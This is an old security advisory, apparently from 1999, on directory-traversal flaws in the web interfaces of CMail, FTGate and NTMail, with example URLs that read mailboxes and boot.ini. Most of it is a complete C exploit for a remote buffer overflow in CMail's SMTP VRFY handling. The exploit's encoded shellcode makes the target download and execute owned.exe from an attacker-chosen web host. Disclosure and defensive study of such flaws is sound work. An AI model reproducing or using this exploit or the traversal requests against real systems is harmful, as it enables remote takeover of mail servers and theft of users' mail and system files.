COMMAND
httpd
SYSTEMS AFFECTED
CMail 2.3, FTGate 2.1, NTMail 4.20
PROBLEM
Following is based on eEye Digital Security Team. The following
holes were found while testing Retina against a few various
services that have web based interfaces. The holes are nothing
amazing just common amongst many web based interfaces. eEye is
sure some other software will be found with similar holes...
CMail
=====
The default location of the web based interface for CMail is
C:\Program Files\Computalynx\CMail Server\pages\. It is a simple
hole. For example if we were to load
http://[server]:8002/../spool/username/mail.txt
in our web browser we would be looking at the email for that user.
Note: Mail.txt is not the real mail file. There is one minor
problem... reading of files is not totally straight forward. It
seems CMail has some mechanism of what it will read or not. If
you have a text file with no carriage returns in it CMail will
not read it. There also exists multiple buffer overflows within
the various SMTP and POP server functions of CMail. Yes they are
exploitable.
'pw'posted exploit for it. Everything is standard in the exploit
except that the shellcode is placed before the return address on
the buffer, because there isn't enough room after it. To execute
the shellcode we put a small stub of code after our return address
and have the return address point to a jmp esp. The small stub of
code when executed points ecx to our shellcode and jumps to it.
We can do this because ecx will always point to the start of our
shellcode's original buffer before its copied at overflow time (at
least in this version). This has been tested with only one
version of C-Mail (version which was being distributed from their
web site about 2 months ago). There are return addresses in the
following exploit which should work under win95, 98 and NT. To
compile it under win32 just remove the "#define UNIX".
#define UNIX
#ifndef UNIX
#include <stdio.h>
#include <fcntl.h>
#include <winsock.h>
#include <io.h>
#define CLOSE _close
#define SLEEP Sleep
#else
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define CLOSE close
#define SLEEP sleep
#endif
/*
CMail Exploit by _mcp_ <pw@nacs.net>
Sp3 return address and win32 porting by acpizer <acpizer@unseen.org>
*/
const unsigned long OFFSET = 635;
const unsigned long LENGTH = 650;
const unsigned long CODEOFFSET = 11;
char code[] =
"\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
"\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
"\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x5B\xC1\xE3\x10\x66\xBB"
"\x18\x79\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
"\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x5B\xC1\xE3"
"\x10\x66\xBB\x44\x79\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
"\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
"\xC9\x51\x51\x51\x51\x51\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
"\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
"\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
"\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
"\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
"\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
"\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
"\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
"\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
"\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
"\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
"\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
"\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
"\x30\x00";
/*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =
"\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1";
/*
Below is:
add ecx, 10
jmp ecx
We use this to transfer to our code that we store before the return
address on our overflow buffer, We have to do this because there
isn't near enough room behind the return address to include the code.
If we weren't lucky enough to have a register pointing virtually
right to our code we could include a routine that searches memory for
specific dword in a specific direction relative to a register's value
then transfers control to our code located there. The code can also
be easyly snuck in on another buffer by doing this.
*/
char controlcode[] =
"\x83\xc1\x0A\xFF\xE1";
unsigned int getip(char *hostname)
{
struct hostent *hostinfo;
unsigned int binip;
hostinfo = gethostbyname(hostname);
if(!hostinfo)
{
printf("cant find: %s\n",hostname);
exit(0);
}
#ifndef UNIX
memcpy((char *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
#else
bcopy(hostinfo -> h_addr, (char *)&binip, hostinfo -> h_length);
#endif
return(binip);
}
int usages(char *fname)
{
printf("Remote Buffer Overflow exploit v1.2 by _mcp_ <pw@nacs.net>.\n");
printf("Win32 Porting and nt sp3 address By Acpizer <acpizer@unseen.org>\n");
printf("Usages: \n");
printf("%s <target host> <www site> <return address>\n", fname);
printf("win98:\n");
printf(" <return address> = 0xBFF79243\n");
printf("NT SP3:\n");
printf(" <return address> = 0x77E53FC7\n");
printf("NT SP4:\n");
printf(" <return address> = 0x77E9A3A4\n");
printf("Will make <target host> running CSMMail download, save, and\n");
printf("execute http://<www site>/~pw/owned.exe\n");
exit(0);
}
main (int argc, char *argv[])
{
int sock,targethost,sinlen;
struct sockaddr_in sin;
static unsigned char buffer[20000];
unsigned char *ptr,*ptr2;
unsigned long ret_addr;
int len,x = 1;
unsigned long rw_mem;
#ifndef UNIX
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0) exit(1);
#endif
if (argc < 4) usages(argv[0]);
targethost = getip(argv[1]);
len = strlen(argv[2]);
if (len > 60)
{
printf("Bad http format!\n");
usages(argv[0]);
}
ptr = argv[2];
while (x <= len)
{
x++;
(*ptr)++; /*Encrypt the http ip for later parsing */
ptr++;
}
if( (sscanf(argv[3],"0x%x",(unsigned long *) &ret_addr)) == 0)
{
printf("Input error, the return address has incorrect format\n");
exit(0);
}
sock = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = targethost;
sin.sin_port = htons(25);
sinlen = sizeof(sin);
printf("Starting to create the egg\n");
ptr = (char *)&buffer;
strcpy(ptr,"VRFY ");
ptr+=5;
memset((void *)ptr, 0x90, 7000);
ptr2=ptr;
ptr2+=OFFSET;
memcpy ((void *) ptr2,(void *)&ret_addr, 4);
ptr2+=8;
/* Put the code on the stack that transfers control to our code */
memcpy((void *) ptr2, (void *)&controlcode, (sizeof(controlcode)-1) );
ptr2=ptr;
ptr2+=LENGTH;
(*ptr2)=0x00;
ptr+=CODEOFFSET;
memcpy((void *) ptr,(void *)&code,strlen(code));
(char *) ptr2 = strstr(ptr,"\xb1");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2++;
(*ptr2)+= len + ( sizeof(dir) );
(char *) ptr2 = strstr(ptr,"\x83\xc6");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2+= 2;
(*ptr2)+= len + 8;
ptr+=strlen(code);
memcpy((void *) ptr, (void *) argv[2], len); /*Parse in the http
site's info */
ptr+=len;
memcpy((void *) ptr,(void*) &dir, (sizeof(dir)-1) );
printf("Made the egg\n");
if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
{
perror("error:");
exit(0);
}
printf("Connected.\n");
#ifndef UNIX
send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
send(sock,"\r\n",2,0);
#else
write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
write(sock,"\r\n",2);
#endif
SLEEP(1);
printf("Sent the egg\n");
#ifndef UNIX
WSACleanup();
#endif
CLOSE(sock);
exit(1);
}
FTGate
======
Same as above basically:
http://[server]:8080/../newuser.txt
The only difference is that FTGate doesn't seem to mind if the
file has the carriage returns or not.
NTMail
======
NTMail suffers from the same programming flaw...
http://[server]:8000/../../../../../boot.ini.
There is other server software out there that suffers from these
common holes. An average of 65% of the software we have tested
thus far has had problems with restricting the path that they
allow. NTMail as well as the other two can be run as a service,
NTMail does it by default, therefore you can read files as SYSTEM
on most of them.
SOLUTION
Disable the web interfaces where applicable until the vendors
release patches. All vendors have been notified. So far it's
known that this is fixed in NTMail 4.3 which was released on
Monday 24th May 1999.